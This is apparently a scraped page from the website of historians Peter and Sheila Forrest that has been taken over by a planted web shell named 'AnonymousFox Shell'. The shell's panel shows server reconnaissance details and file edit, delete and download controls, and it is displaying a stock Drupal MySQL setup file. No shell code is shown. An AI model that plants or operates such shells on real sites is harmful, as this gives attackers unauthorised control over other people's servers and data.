Peter and Sheila Forrest

Historians & Writers

Contact Us

Contact Us

MrMax
  

AnonymousFox Shell

 Apache
 Linux bsd41.qnetau.com 2.6.32-696.16.1.el6.x86_64 #1 SMP Wed Nov 15 16:51:15 UTC 2017 x86_64
 uid=1330(forrest) gid=766(forrest) groups=766(forrest)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: ON | WGet: ON
  >  / hsphere / local / home / forrest / forrest.net.au /
server ip : 202.146.211.8

your ip : 54.221.73.186

H O M E


Filename/hsphere/local/home/forrest/forrest.net.au/INSTALL.mysql.txt
Size1.42 kb
Permissionrw-r--r--
Ownerforrest : forrest
Create time24-Feb-2015 22:32
Last modified07-Feb-2012 10:26
Last accessed15-Dec-2017 10:10
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image

CREATE THE MySQL DATABASE
--------------------------

This step is only necessary if you don't already have a database set up (e.g.,
by your host). In the following examples, 'username' is an example MySQL user
which has the CREATE and GRANT privileges. Use the appropriate user name for
your system.

First, you must create a new database for your Drupal site (here, 'databasename'
is the name of the new database):

mysqladmin -u username -p create databasename

MySQL will prompt for the 'username' database password and then create the
initial database files. Next you must log in and set the access database rights:

mysql -u username -p

Again, you will be asked for the 'username' database password. At the MySQL
prompt, enter the following command:

GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER
ON databasename.*
TO 'username'@'localhost' IDENTIFIED BY 'password';

where

'databasename' is the name of your database
'username@localhost' is the username of your MySQL account
'password' is the password required for that username

Note: Unless your database user has all of the privileges listed above, you will
not be able to run Drupal.

If successful, MySQL will reply with:

Query OK, 0 rows affected

If the InnoDB storage engine is available, it will be used for all database
tables. InnoDB provides features over MyISAM such as transaction support,
row-level locks, and consistent non-locking reads.

Coder : MrMax

Send us an email